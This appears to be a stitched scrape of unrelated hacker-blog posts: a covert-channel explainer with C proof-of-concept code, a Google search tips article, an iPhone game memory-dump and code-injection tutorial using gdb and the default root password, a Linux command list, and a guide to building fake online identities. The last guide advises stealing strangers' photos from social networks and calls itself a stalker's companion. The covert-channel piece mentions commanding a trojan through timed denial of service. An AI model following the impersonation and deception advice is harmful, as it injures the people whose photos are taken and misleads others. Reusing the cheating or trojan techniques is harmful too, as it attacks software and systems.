facing the army and the sun, you could use reflective material to reflect a
medieval equivalent of morse code. If you had a big stick and your cell had
iron bars you could strike the iron hard enough to echo a sound pattern to the
army. All of these methods are known as covert channels.

Formally speaking, a covert channel is nothing more than a shared medium of at
least 2 parties that can be used to transmit information.

They represent the true essence of hacking. Use a tool or a mechanism in a way
that has not been thought of to access information that you may not normally
be able to. It requires the use of your mind. It's pure, it's elegant, and
it's damn near unstoppable.

Shared Mediums
-------------
All communication, whether it be a human talking to a computer, two humans
talking, a human an alien and a computer, or just two computers, is done using
some common medium.

Two phones communicate through a phone line. Two people talk through sight or
sound. Two computers normally communicate through network medium like wireless
or ethernet. Two processes on a computer can talk through a socket or a pipe.

Covert channels are simply shared mediums that allow two parties to communicate
when they're normally not supposed to.

If you think about it, there are hundreds of these in computers. Some of them
can pose major security threats if exploited properly. Consider the following:

- CPU is shared by all processes assuming there is only 1 of them in the
system.
- Network Bandwidth / Connection
- Physical Memory
- Files
- Printer or any other peripheral.

Really any shared resource can be used as a shred medium in a computer.

Exploit Scenarios
-----------------
So how do we use any of this?

Consider a typical annoyance in the computer world. You're a user and you want
to print something for a meeting in 10 minutes. 15 minutes roll by and you
still don't have your document because some jackass graphic designer is printing
a 20' Sponge Bob poster for his son and he's doing it one 8" page at a time.

This is known as "starvation" in computer terms, more specifically, when one
process hogs the processor and effectively starves the other process out being
able to work. In the office, this is known as "being a dick".

Basic Printer Scenario
----------------------

Let's turn this into a covert channel. I'm going to write a "sender" program
that is going to send the message "Hello" to a "receiver" one bit at a time by
hogging the printer resource. Assume for argument's sake that the printer has
no buffer.

Assume hogging the printer for 1 second is a 1, and not hogging the printer at
all is a 0.

The receiver program simply needs to print test pages in a uniform manner. Let's
say consecutively with no breaks.

The sender program will print a page when it wants to send a 1, and not print a
page when it wants to send a 0.

Now all that's left is synchronization. Well we have existing network protocols
that can synchronize 2 processes. I won't go into detail on those, see the RFCs
if you want that information.

The sender will begin by requesting a print 1 microsecond before the receiver.
The receiver will then try to print and realize it can't. It will log that as a 1.
etc...

What if an actual person legitimately tries to use the printer? Well this is the
same scenario as packet conflict over a network. We have error checking protocols
for network communication already. Sticking a CRC Checksum on the end of the
message is not difficult to ensure the message is correct.

You can begin to see how simple these are to program. The printer example may
not be a good medium to communicate over because it is used frequently. This is
no different than a busy ethernet link or a wireless connection that experiences
a lot of interference. A CPU may be used more efficiently due to the fact that
you can do a lot, much faster, over a shorter period of time on them.

Footprinting - Determine OS Scenario
------------------------------------
Covert channels are used quite often but rarely understood that they are in
fact covert channels. This is common in footprinting - the process of gathering
information about a computer.

Take the TCP Handshake for example.

 Client   Server
      SYN ->
  <- SYN / ACK
      ACK ->

This communication, by protocol definition, uses sequence numbers to ensure
that packets are sent and received properly. I'm not going to get into where
sequence numbers originate, but everyone uses them.

In the TCP Handshake it looks kind of like this:

Client:  SYN (seq#A) ->
       <-SYN/ACK (seq#A +1, seq#B) : Server
Client:  ACK (seq#B +1, seq#A +1)

Certain Operating systems would use the same sequence numbers on SYN/ACK of
the handshake. You could use this information to determine which OS the server
is running. OS often is very useful information to have.

(Note: To solve this problem, OS's started randomizing their sequence numbers)

Conclusion
----------
You may have started to notice that covert channels are not "exploit in a can".
They half require some kind of administrative access. It's important to remember
that covert channels are just channels of communication. They're useful when you
have something already in a sensitive area and want to communicate with it
secretly.

They can be used to bypass communication restrictions, talk secretly when being
monitored, and - if created very carefully - listen to information being
transmitted accidentally.

It is theoretically possible to determine what a processor is processing based
on how long it takes to compute something and how it affects its memory. Although
actually writing something to do this would be extraordinarily difficult.

The major advantage to covert channels is that nobody thinks about shared resources
when creating "secure" systems. This is in inherent vulnerability.

Another good example
--------------------
If I have a trojan or rootkit on your system, I could still give it commands
regardless if you restricted it using a firewall. I could build it to listen to
bandwidth levels and then just DOS you in a set pattern that the server
understands.

Your own creativity is really the only limitation with these. Use your
imagination. Have fun. Break something (that you're allowed to break). Play with
your balls a little and see what you come up with. You'll do fine.

Rough Proof of Concept Code
---------------------------
Below is something I coded up quick a few months ago to prove to myself that it
was possible to communicate through the processor.

This code assumes only 1 core. I tested it on a quad core by simply running 4
instances and it did work, though messy.

Note: This is written in C.

Client
-------------------------------------------------------------------------------

[code]

/* Includes */

#include <stdio.h>

#include <sys/types.h>

#include <time.h>

/* Prototypes for functions to use the covert channel */

int getBit(int ref);

int getRefTime();

int main(int argc, char *argv[]) {

/* We need to get a reference time. */

/* Multiply by 1.25 to prevent accidental 1s.*/

int refTime = getRefTime() * 1.25;

/* Just read constantly, this will fight for the processor*/

while(1) {

fprintf(stdout, "%d\n", getBit(refTime));

}

return 0;

}

/* Getting a bit is simple, run a long loop and see how long it took to process

in processor time. No its not exact but this is just a proof of concept */

int getBit(int ref) {

int start, end, i;

start = clock();

for(i=0; i<1000000000; i++){}

end = clock();

if( (end-start) > ref)

return 1;

else

return 0;

}

/* This will get a reference time so we can determine busy or slow */

int getRefTime() {

int start, end, i;

start = clock();

for(i = 0; i<1000000000; i++){}

end = clock();

return end-start;
}
[/code]

Server
------------------------------------------------------------------------------

[code]

/* Includes */

#include <stdio.h>

#include <sys/types.h>

#include <time.h>

#include <unistd.h>

/* Prototypes for functions to use the covert channel */

void send1Bit();

void send0Bit();

int main(int argc, char *argv[]) {

/* Just send every other bit */

while(1) {

send1Bit();

send0Bit();

}

return 0;

}

/* Send a 1 bit by doing math in a long loop */

void send1Bit() {

int x = 1;

int i;

//This takes approximately 3 seconds to run, depending on processor

for(i=0; i<2000000000; i++) {

x += x * 3;

}

}

/* Send a 0 bit by doing nothing for 3 seconds */

void send0Bit() {

sleep(3);

}

[/code]

20 Great Google Secrets

2012-09-21T08:11:00.000-07:00

20 Great Google Secrets

http://www.pcmag.com/article2/0,4149,1306756,00.asp

excl.gif No Active Links, Read the Rules - Edit by Ninja excl.gif

Google is clearly the best general-purpose search engine on the Web (see

www.pcmag.com/searchengines

But most people don't use it to its best advantage. Do you just plug in a keyword or two and hope for the best? That may be the quickest way to search, but with more than 3 billion pages in Google's index, it's still a struggle to pare results to a manageable number.

But Google is an remarkably powerful tool that can ease and enhance your Internet exploration. Google's search options go beyond simple keywords, the Web, and even its own programmers. Let's look at some of Google's lesser-known options.

Syntax Search Tricks

Using a special syntax is a way to tell Google that you want to restrict your searches to certain elements or characteristics of Web pages. Google has a fairly complete list of its syntax elements at

www.google.com/help/operators.html

. Here are some advanced operators that can help narrow down your search results.

Intitle: at the beginning of a query word or phrase (intitle:"Three Blind Mice") restricts your search results to just the titles of Web pages.

Intext: does the opposite of intitle:, searching only the body text, ignoring titles, links, and so forth. Intext: is perfect when what you're searching for might commonly appear in URLs. If you're looking for the term HTML, for example, and you don't want to get results such as

www.mysite.com/index.html

, you can enter intext:html.

Link: lets you see which pages are linking to your Web page or to another page you're interested in. For example, try typing in

link:http://www.pcmag.com

Try using site: (which restricts results to top-level domains) with intitle: to find certain types of pages. For example, get scholarly pages about Mark Twain by searching for intitle:"Mark Twain"site:edu. Experiment with mixing various elements; you'll develop several strategies for finding the stuff you want more effectively. The site: command is very helpful as an alternative to the mediocre search engines built into many sites.

Swiss Army Google

Google has a number of services that can help you accomplish tasks you may never have thought to use Google for. For example, the new calculator feature

(www.google.com/help/features.html#calculator)

lets you do both math and a variety of conversions from the search box. For extra fun, try the query "Answer to life the universe and everything."

Let Google help you figure out whether you've got the right spelling—and the right word—for your search. Enter a misspelled word or phrase into the query box (try "thre blund mise") and Google may suggest a proper spelling. This doesn't always succeed; it works best when the word you're searching for can be found in a dictionary. Once you search for a properly spelled word, look at the results page, which repeats your query. (If you're searching for "three blind mice," underneath the search window will appear a statement such as Searched the web for "three blind mice.") You'll discover that you can click on each word in your search phrase and get a definition from a dictionary.

Suppose you want to contact someone and don't have his phone number handy. Google can help you with that, too. Just enter a name, city, and state. (The city is optional, but you must enter a state.) If a phone number matches the listing, you'll see it at the top of the search results along with a map link to the address. If you'd rather restrict your results, use rphonebook: for residential listings or bphonebook: for business listings. If you'd rather use a search form for business phone listings, try Yellow Search

(www.buzztoolbox.com/google/yellowsearch.shtml).

Extended Googling

Google offers several services that give you a head start in focusing your search. Google Groups

(http://groups.google.com)

indexes literally millions of messages from decades of discussion on Usenet. Google even helps you with your shopping via two tools: Froogle
CODE
(http://froogle.google.com),

which indexes products from online stores, and Google Catalogs
CODE
(http://catalogs.google.com),

which features products from more 6,000 paper catalogs in a searchable index. And this only scratches the surface. You can get a complete list of Google's tools and services at

www.google.com/options/index.html

You're probably used to using Google in your browser. But have you ever thought of using Google outside your browser?

Google Alert

(www.googlealert.com)

monitors your search terms and e-mails you information about new additions to Google's Web index. (Google Alert is not affiliated with Google; it uses Google's Web services API to perform its searches.) If you're more interested in news stories than general Web content, check out the beta version of Google News Alerts

(www.google.com/newsalerts).

This service (which is affiliated with Google) will monitor up to 50 news queries per e-mail address and send you information about news stories that match your query. (Hint: Use the intitle: and source: syntax elements with Google News to limit the number of alerts you get.)

Google on the telephone? Yup. This service is brought to you by the folks at Google Labs

(http://labs.google.com),

a place for experimental Google ideas and features (which may come and go, so what's there at this writing might not be there when you decide to check it out). With Google Voice Search

(http://labs1.google.com/gvs.html),

you dial the Voice Search phone number, speak your keywords, and then click on the indicated link. Every time you say a new search term, the results page will refresh with your new query (you must have JavaScript enabled for this to work). Remember, this service is still in an experimental phase, so don't expect 100 percent success.

In 2002, Google released the Google API (application programming interface), a way for programmers to access Google's search engine results without violating the Google Terms of Service. A lot of people have created useful (and occasionally not-so-useful but interesting) applications not available from Google itself, such as Google Alert. For many applications, you'll need an API key, which is available free from
CODE
www.google.com/apis

. See the figures for two more examples, and visit

www.pcmag.com/solutions

for more.

Thanks to its many different search properties, Google goes far beyond a regular search engine. Give the tricks in this article a try. You'll be amazed at how many different ways Google can improve your Internet searching.

Online Extra: More Google Tips

Here are a few more clever ways to tweak your Google searches.

Search Within a Timeframe

Daterange: (start date–end date). You can restrict your searches to pages that were indexed within a certain time period. Daterange: searches by when Google indexed a page, not when the page itself was created. This operator can help you ensure that results will have fresh content (by using recent dates), or you can use it to avoid a topic's current-news blizzard and concentrate only on older results. Daterange: is actually more useful if you go elsewhere to take advantage of it, because daterange: requires Julian dates, not standard Gregorian dates. You can find converters on the Web (such as

CODE
http://aa.usno.navy.mil/data/docs/JulianDate.html

excl.gif No Active Links, Read the Rules - Edit by Ninja excl.gif

), but an easier way is to do a Google daterange: search by filling in a form at

www.researchbuzz.com/toolbox/goofresh.shtml or www.faganfinder.com/engines/google.shtml

. If one special syntax element is good, two must be better, right? Sometimes. Though some operators can't be mixed (you can't use the link: operator with anything else) many can be, quickly narrowing your results to a less overwhelming number.

More Google API Applications

Staggernation.com offers three tools based on the Google API. The Google API Web Search by Host (GAWSH) lists the Web hosts of the results for a given query

(www.staggernation.com/gawsh/).

When you click on the triangle next to each host, you get a list of results for that host. The Google API Relation Browsing Outliner (GARBO) is a little more complicated: You enter a URL and choose whether you want pages that related to the URL or linked to the URL

(www.staggernation.com/garbo/).

Click on the triangle next to an URL to get a list of pages linked or related to that particular URL. CapeMail is an e-mail search application that allows you to send an e-mail to google@capeclear.com with the text of your query in the subject line and get the first ten results for that query back. Maybe it's not something you'd do every day, but if your cell phone does e-mail and doesn't do Web browsing, this is a very handy address to know.

iPhone: Dumping Game Memory and Injecting Custom Code into Games

2011-06-16T07:59:00.001-07:00

iPhone: Dumping Game Memory and Injecting Custom Code into Games — zkoolkyle

This article was written by zkoolkyle

Prerequisites:
iPhone

=Overview=
This is a tutorial for game hacking, this is the first degree of hacking for Iphone games yet and I'm hoping that it will evolve into something bigger. This kind of hacking if done correctly could lead to code injection to make your character jump 1000ft instead of 2ft, make your car go 20x faster and lead to invunerability in fighting games. I'm hoping that someone takes this idea and make a terminal app to make this alot easier for people (searchers and what not) but since this is the first of its kind for iphone you'll have to live with using the GNU debugger as your weapon lol. Which is very strong if used correctly.
This tutorial Explains how to Lock your game, Dump multiple copies of your Memory so that they may be compared to find special addresses, then inject your custom address values back into the game.

LETS BEGIN :]

1.SSH to your iphone from your OS.

Windows - Putty - PuTTY Download Page
Mac Os/Linux - Terminal

2. Go to Cydia and install GNU Debugger if you havn't already.

3.Take the non-encrypted IPA that you have on your computer and extract it. (if you downloaded it cracked then its already non-encrypted)
Inside of the .app folder you will see a file with the name of the game on there with no extension.

Example:
Im hacking TouchGrind.app so when I go inside of it I see a file called just "TouchGrind" (Its usually the biggest file in that folder)

Now boot up a file transfer application that supports SFTP (also known as SSH-FTP). WinSCP for Windows is good, as are Transmit (Shareware, but excellent) and Cyberduck (Free) for Mac, and gFTP for Linux. Test it by setting up a connection to your iPhone (get your iPhone***8217;s IP address from Settings ***8211;> Wi-Fi ***8211;> Right-arrow next to your wifi conneciton ***8211;> IP Address) over the SFTP protocol. The username for the connection is ***8216;root***8217;, and the default password is ***8216;alpine***8217;.

Then upload your MainDataFile (the file inside of your .app folder that we just talked about, Mines "TouchGrind") to /var/root/
We will be using this file later.

4.SSH to your iphone from your OS. (Same Username and Password - root:alpine)

Windows - Putty - PuTTY Download Page
Mac Os/Linux - Terminal

Now we are going to get the stack size of the program in the memory so that when we try to make a dump of our memory later we can know exactly how much to dump so we don't get to big of a file and then there would be no point in trying to hack the game lol.

While in SSH with your iphone use the command
Code:
otool -l MAINDATAFILE | grep crypt

Note: Replace the words MAINDATAFILE with the name of the file that we just uploaded to our Iphone, remember mine was TouchGrind.
Now you should get something like this

Code:
cryptoff 4096
cryptsize 913408
cryptid 0

We want the cryptsize number (Yours Will probably be different). cryptoff should be 4096 and cryptid should be 0. Now take your cryptsize number and convert it from decimal to hex. You can easily do this with this website.

DECIMAL to BINARY conversion, DECIMAL to HEX converter, Decimal to Hexadecimal convertor

913408 converted to hex is DF000 (Yours will be different then mine)

SAVE THIS HEX Value! Write it into a text file in your computer or write it down

5.Now go back to your dashboard on your iphone and Boot the game you want to Hack up. Once it***8217;s running, type the following into your ssh tunnel on your computer and press Enter:
Code:
ps ax

You***8217;ll get a massive list of every running process on your phone. It looks similar to this:
Code:
PID TT STAT TIME COMMAND
1 ?? s 0:00.00 /sbin/launchd
12 ?? s 0:00.00 /usr/sbin/mDNSResponder -launchd
13 ?? s 0:00.00 /usr/sbin/notifyd
14 ?? s 0:00.00 /usr/sbin/syslogd
15 ?? s 0:00.00 /usr/sbin/configd
19 ?? s 0:00.00 /usr/sbin/update
20 ?? s 0:00.00 /usr/libexec/lockdownd
23 ?? s 0:00.00 /System/Library/PrivateFrameworks/IAP.framework/Support/iapd
24 ?? s 0:00.00 /usr/sbin/fairplayd
28 ?? s 0:00.00 /System/Library/PrivateFrameworks/CoreTelephony.framework/Support/CommCenter
29 ?? s 0:00.00 /usr/sbin/BTServer
819 ?? s 0:00.00 /usr/sbin/mediaserverd
1325 ?? s 0:00.00 /System/Library/CoreServices/SpringBoard.app/SpringBoard
1327 ?? s 0:00.00 /var/stash/Applications.1SLxl9/MobilePhone.app/MobilePhone
1695 ?? s 0:00.00 /var/stash/Applications.1SLxl9/MobileMail.app/MobileMail
1705 ?? s 0:00.00 /System/Library/Frameworks/SystemConfiguration.framework/SCHelper
1790 ?? s 0:00.00 /var/mobile/Applications/3015A1D1-0421-31A2-2DD9-15E0A2F235A1/TouchGrindl.app/TouchGrind
1791 ?? s 0:00.00 /usr/libexec/launchproxy /usr/sbin/sshd -i
1792 ?? 0:00.00 /usr/sbin/sshd -i
1797 ?? s 0:00.00 /usr/libexec/amfid
1793 s000 s 0:00.00 -sh
1798 s000 + 0:00.00 ps ax

The very first column that says PID is what we***8217;re interested in. PID stands for Process ID, and it***8217;s a number that gets assigned to each running process. One of these processes is the currently running app, so scan down through the final column (COMMAND) until you find your app. In my case, the app I ran is TouchGrind, and its pid is 1790. Make a note of your PID.

In your terminal window, type the following ***8212; but replace the letters PID with the actual PID number you just found:
Code:
gdb -p PID

So, for example, I would type:
Code:
gdb -p 1790

Now you SEE WHAT JUST HAPPENED - YOUR APP FROZE. This meens that all the values for that game are locked.

3. Now we are going to make our first dump of the memory! You should be in the (gdb) prompt while doing this. Remember that Hex value that I told you to save, well now here is were you use it. Replace the text "HexValueHere" with your hex value that you saved.

So now we will type:
Code:
dump ihex memory dump1.dmp 0x2000 0xHexValueHere

My Example:
dump ihex memory dump1.dmp 0x2000 0xDF000

What this line of code is saying is Dump the Memory(dump) in Hex format(ihex) starting from offset from 0x2000 to your value and naming it dump1.dmp.

CONGRADULATIONS you just made your first Game Memory Dump. Now the points of these dumps are to get 2 different dumps that have different values in them so that you can compare them and find the address of sayyy your score and edit it.

Example:
You boot your game of Touchgrind and get 16,847 during the game, well during that you

1.Freeze the game with that score:
gdp -p ProcessID (remember your process id)

2.Dump the memory:
dump ihex memory dump1.dmp 0x2000 0xHexValueHere

3.Unfreeze the game:
quit

Then you skate for 20 more seconds and now you have a score of 53,832

1.Freeze the game with that score:
gdp -p ProcessID (remember your process id)

2.Dump the memory AGAIN and rename it to dump2.dmp:
dump ihex memory dump2.dmp 0x2000 0xHexValueHere

3.Unfreeze the game:
quit

6.Fire up your SFTP client again and navigate to /var/root. Now there should be a files called ***8216;dump1.dmp & dump2.dmp' there

7. Compare your 2 dumps ECT...... (tons of tutorials online on how to compare dumps, Sketch will probably write one.)

8. To inject your code boot back up through ssh, Run your app again. Freeze it again with your pid.
Code:
gdb -p 1790

Then now for the fun part,TESTING INJECTION of code!!!
While in gdb.

code:
set * (Address You want to hack) = (Orginal + New Offset)
set * 0x08049d24 = 0x40003000 + 0x000034

Tutorial Written
By LoGiKz of OneHitGamer.com

REVIEW:
Everything you just did was accually really simple , you just have to get the concept down. You just did this in this order and this can be used as a refernce if you dont wan't to go back through everything.

1. Put the games data file on your Ipod
Extract and SFTP

2. Get the CryptID and Convert to Hex
otool -l MAINDATAFILE | grep crypt

3. Get the ProcessID
ps ax

4. Freeze the game
gdb -p ProcessID

5. Dump the Memory as many times as needed with the values you supplied
dump ihex memory dump1.dmp 0x2000 0xHexValueHere

6. Inject Code
set * (Address You want to hack) = (Orginal + New Offset)

Do this at your own risk

Basic Linux Commands

2011-06-16T07:55:00.001-07:00

Hi All,

This is something different which i normally post. Here are basic linux commands.. Enjoy . This is for newbies, People who know it and would like to add something else. Please do ..

so here goes nothing.

Prerequisites:
Access to a Linux/Unix box or a Windows box with Cygwin installed.

As most people know, there's a fuck load of commands in Linux so I'm only going to be including a few of the main ones off the top of my head.
Also, there's going to be examples in here which show you some more options ex. -(whatever the fuck) that
you will need to add onto the command; better ex. tar -zxvf (-zxvf == whatever the fuck) which I will explain which options I use but will not go into detail about all of the options because there are MAN pages for that.
The operators you learned in dos >, >>, and | still apply fairly normally.

man
Linux "manual" pages, describing in detail every command, what it's options are, and what it does.

ex
$ man
What manual page do you want?

ex2
$ man ls | more
LS(1) User Commands LS(1)

NAME
ls - list directory contents

SYNOPSIS
ls [OPTION]... [FILE]...

DESCRIPTION
List information about the FILEs (the current directory by default).
Sort entries alphabetically if none of -cftuvSUX nor --sort.

Mandatory arguments to long options are mandatory for short options
too.

-a, --all
do not ignore entries starting with .

-A, --almost-all
do not list implied . and ..

--author
--More--

pwd
Shows the path of the directory you are in; aka "Parent Working Directory".

ex
$ pwd
/home/cisc0ninja

ls (ls -al shows hidden files too)
Same as dir, list files and folders in your current directory.

ex
$ ls
agetty.exe hwclock.exe mkfs.bfs mkfs.minix sln.exe
fsck.cramfs init.exe mkfs.cramfs mkswap.exe sysctl.exe
fsck.minix killall5.exe mkfs.exe runlevel.exe telinit

clear
Same as cls, clears you current shell's screen.

cat
Same as type, "concatenates" aka list the contents of a file "normally text files".

ex
$ cat test
test

grep
"Global Regular Expressions Parser"<---(don't ask me why I know this) is used for searching files for strings you want. ex $ cat hackers.txt | grep Steve Richard Stevens Steve Bellovin Steve Crocker Steve Jobs Steve Shirley Steve Wozniak Steven G. Steinberg chmod Changes the access file attributes of a file or folder.(readonly,writable,hidden,etc...) ex (the first number is (7) is for user, second number for group, and third for everyone else, 7=writable, 5=read&execute, 0=nothing chmod -R 700 /home/share/mydirectory chown Changes the ownership file attributes of a file or folder. ex (-R means recursive ie.. for every folder and file underneath) chown -R cisc0ninja:localadmins /home/share rm Removes a file. ex $ rm test.txt rmdir Removes a directory ex $ rmdir test ifconfig (ifconfig -a) List your network interfaces and their configuration options. ex shinra:/home/share# ifconfig -a | more eth1 Link encap:Ethernet HWaddr 00:17:31:37:9b:7d inet addr:172.30.115.75 Bcast:172.30.115.255 Mask:255.255.255.0 inet6 addr: fe80::217:31ff:fe37:9b7d/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:751482 errors:0 dropped:0 overruns:0 frame:0 TX packets:743923 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:496898734 (473.8 MiB) TX bytes:180162903 (171.8 MiB) Interrupt:16 ssh Upgraded version of telnet with an added bonus of encryption and secure copying capabilities. ex cisc0ninja@shinra:~$ ssh -l cisc0ninja argos.soldierx.com Password: §+++++++++++++++++++++++++++++++++++++++++++++++§ ]|[ [-=- SOLDIERX.COM Presents -=-] ]|[ cisc0ninja@argos:~$ tar Linux zip utility to zip and unzip files. ex $ tar -zxvf dnsenum1.1.tar.gz belgacom.be_ips.txt dnsenum.pl dns.txt README.txt sort Sorts the content inside of a document. (alpha-numerically) ex $ sort hackers-orig.txt | uniq >> hackers.txt

uniq
Removes duplicate entries in a file.

ex
$ sort hackers-orig.txt | uniq >> hackers.txt

mv
Moves a file.

ex
$ mv test /tmp

mount
Makes a connected device (hard drive, flash drive, etc..) accessible to you and the system whether it's mounted as readonly or writable is up to you.
It can also be used (as below) to show what devices are mounted, how, and where.

ex
shinra:/home/share# mount
/dev/md2 on / type ext3 (rw,errors=remount-ro)
tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755)
proc on /proc type proc (rw,noexec,nosuid,nodev)
sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)
procbususb on /proc/bus/usb type usbfs (rw)
udev on /dev type tmpfs (rw,mode=0755)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620)
/dev/md0 on /boot type ext3 (rw)
nfsd on /proc/fs/nfsd type nfsd (rw)

df (or df -h)
shows file system usage

ex
$ df -h
Filesystem Size Used Avail Use% Mounted on
C:\cygwin\bin 75G 63G 13G 84% /usr/bin
C:\cygwin\lib 75G 63G 13G 84% /usr/lib
C:\cygwin 75G 63G 13G 84% /
c: 75G 63G 13G 84% /cygdrive/c

ps (ps -aux) or top
used for showing amount of processing power and memory each service/application is using.

ex
top - 02:35:57 up 8:07, 2 users, load average: 0.00, 0.00, 0.00
Tasks: 6 total, 2 running, 4 sleeping, 0 stopped, 0 zombie
Cpu(s): 2.7% user, 4.8% system, 0.0% nice, 92.5% idle
Mem: 1015152k total, 609300k used, 405852k free, 0k buffers
Swap: 1523712k total, 71080k used, 1452632k free, 0k cached

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
11392 cisc0ninja 8 0 2388 2860 40 R 2.9 0.3 0:00.09 top
1712 SYSTEM 8 0 2028 2292 76 S 0.0 0.2 0:00.15 cygrunsrv
2220 SYSTEM 8 0 2572 3692 40 S 0.0 0.4 0:00.15 sshd
3952 cisc0ninja 8 0 2860 356 12 R 0.0 0.0 0:01.12 bash
2344 cisc0ninja 8 0 2924 1884 40 S 0.0 0.2 0:01.06 bash
244 cisc0ninja 8 0 2640 132 0 S 0.0 0.0 0:00.18 ssh

vi/vim
A text editor for command line, very powerful, takes some time to getting use to.
note: (to exit out of vi/vim press esc a couple of times then the shift and colon key "same time", then type q! "not at same time";)
(if you want to save make it wq!)
ex
vi test.pl

MORE OPERATORS!!!

$
Used to define a variable or constant

ex
$ echo $SHELL
/bin/bash

--help
Gives further information on a command, such as what options are available for use with that command.

ex
$ cat --help
Usage: cat [OPTION] [FILE]...
Concatenate FILE(s), or standard input, to standard output.

-A, --show-all equivalent to -vET
-b, --number-nonblank number nonblank output lines
-e equivalent to -vE
-E, --show-ends display $ at end of each line
-n, --number number all output lines
-s, --squeeze-blank never more than one single blank line
-t equivalent to -vT
-T, --show-tabs display TAB characters as ^I
-u (ignored)
-v, --show-nonprinting use ^ and M- notation, except for LFD and TAB
--help display this help and exit
--version output version information and exit

With no FILE, or when FILE is -, read standard input.

Examples:
cat f - g Output f's contents, then standard input, then g's contents.
cat Copy standard input to standard output.

How to lie to people : Achieving anonymity through disinformation and data poisoning

2011-04-03T23:12:00.000-07:00

[]HOW TO LIE TO PEOPLE: ACHIEVING ANONYMITY THROUGH DISINFORMATION AND DATA POISONING BY: DIzzIE aka x-c0n [antikopyright 2007][]

Preamble

When providing information, the worst thing you could possibly do is give accurate, truthful data. This should be common sense. If it's not, close this text and think about why it should be, then come back when you're ready or **** off for good. However, the recourse that many have chosen, the proverbial vow of silence, is no panacea. Actively choosing to refuse to provide information, to give the bloodhounds nothing, will make them uneasy, hungry, suspicious, and, of course, quite vicious. What one must then do is quite simple: give them a false trail to follow. In other words: Lie to people. All the time. About everything. Going further, create future lies. Lies that lie in hidden corners just waiting to be stumbled onto by the coming bloodhounds, who will then think they've stumbled onto something genuine. Your goal must then be to pro-actively mold pieces of **** into gold nuggets. Plant your buried scat treasure and watch the ****ers suck it down. The aim must always be to present the illusion of transparency, an 'I've got nothing to hide' hologram, if you will.

In short: your goal is to go around the web planting poisonous seeds of disinformation, with the intention that others who will try to track you at a later date will stumble onto them and think them to be real. The rest of this brief guide will be about general tips for creating disinformation to preserve your anonymity, it is obviously hardly exhaustive, and is meant to serve as a springboard for inspiring your own acts of data poisoning. However, as this guide is operating under the impression that most people currently do not actively engage in data poisoning, this guide also doubles as a stalker's companion. Pretty convenient, indeed.

Before You Begin

Before you're ready to engage in proactive data poisoning, you first need to do a wee bit of preliminary research. Pick a name for yourself, as well as a unique username (something that when searched for, will only return your name, not 50 million others), email address, as well as a birthday, location, pets, family, hobbies, car, political affiliation, and other basic demographic information. Keep in mind that your intention with this data is that each nugget can and should be used to track you, that is indeed your goal in the creation of this false front (i.e., if your new username is a reference to a television show which the real you would never watch, start posting on fan message boards and newsgroups for that show, this is discussed further in the section on fabricating your peripheral identity later in this text).

A key ingredient in the successful passing of illusion as reality is consistency. This means that once you pick your initial disinformative characteristics, you'll have to stick with them for all locales you later frequent (e.g., use the same username on all forums, and tell different people the same lies). After you have the initial information, here are a few more things you might want to take care of (again, these are just a couple examples to prod your own brain into thinking of more **** on its own):

~ Find a few photos of some unpopular person on social networking sites like MySpace or Facebook, or on public photo storage places akin to Flickr. These will now be your photos. Pick someone of average physical prowess, someone who doesn't have too many friends/contacts listed, doesn't live anywhere near you, doesn't frequent the same web fora that you do, and, most importantly, someone whom you and any of your legitimate contacts are not affiliated with in any way whatsoever.

- Try opening the photo file in a text or hex editor. If it is an unmodified file taken with a digital camera, you should see various nuggets of metadata imbedded in the file, such as the date the picture was taken, the resolution/camera settings, and, most importantly, the camera model. This will now be your camera. Find a forum for this camera, or failing that, a forum for amateur photography, and make a few posts asking some basic questions about the camera. When someone then searches for you and examines the metadata of your images, your identity will thus further be validated in their bloodthirsty, datahungry eyes.

--> Any data match serves to validate your illusory identity, any data discrepancy serves to question it.

- Once you have the photos, open them up and perform a minor modification such as adding an extra pixel. This is to change the MD5 checksum of the image file. Each file has a unique number that can be shown by using programs like ChaosMD5(Elgorithms :: Downloads :: Chaos MD5 the Free MD5 Generator). By modifying the file, you are also modifying the MD5 checksum. This is done so that, should anyone later be performing comparisons/searches by MD5, your stolen image will not be presented as a match, therefore improving the chances that your false identity will not be discovered.

~If you wish to, create a phone number for yourself, there are plenty of free services such as www.j2.com which give you a free voicemail box and fax number. Often times the free services do not let you pick your own area code, in which case you will have to make sure that your location matches the area code. If your free number requires a call every X days to be kept active, use a free service akin to phonemyphone.com :: Find your cell phone, escape boring meetings, free telephone reminders, wakeup calls to place the call. Websites such as Area codes locator - Area code lookup by number or city, US and Canada area code listings, area codes directory provide lists of area codes and the states to which they belong, while sites like Telephone Number Location Information allow you to locate the city within a state by using the prefix (the first three digits after the area code). When performing reverse phone lookups on site like Free Reverse Phone Number Lookup | WhitePages or Fone Finder query form, be aware that the phone service provider may also be visible. In keeping with our consistency motif, never contradict this data (with natural exceptions, such as if you're stating that you recently moved from X to Y in your fake blog, thus implicitly explaining the geographical discrepancy of the phone number's location and your present residence).

Creating the Core You

Once you have acquired what you feel is a sufficient amount of preliminary disinformation, it is time to start actively engaging in its proliferation; that is, the fun and tedious process of data poisoning. Ten years ago, I would've told you to create a personal homepage for yourself. Today, homepages are obsolete and unnecessary (though if you have the time, additional data poisoning can't hurt; that is, unless you half ass it). Instead, you should set up your core identity on social networking sites like MySpace and Facebook, as well as on blog sites like LiveJournal and Xanga. Create your personal pages using the fake data you generated in the step above: listing your name, email, birth date, hobbies, favorite music, photos, and so on. These are known as the core sites, because they will be the main websites that any bloodhound on your trail will discover first, and which will contain the greatest amount of information about you.

Creating the Periphery You

After you setup the core sites, you will need to extend your data poisoning to various periphery outposts to further entrench the legitimacy of your faux identity. Although the periphery you is secondary to the core, it is no less essential; indeed, perhaps more so. The role of the periphery is to dupe the meticulous bloodhound who will spend hours mining through search results, harvesting little **** nuggets here and there, and looking for any inconsistencies that might suggest duplicity. In other words, take the task of creating the periphery as seriously as the core.

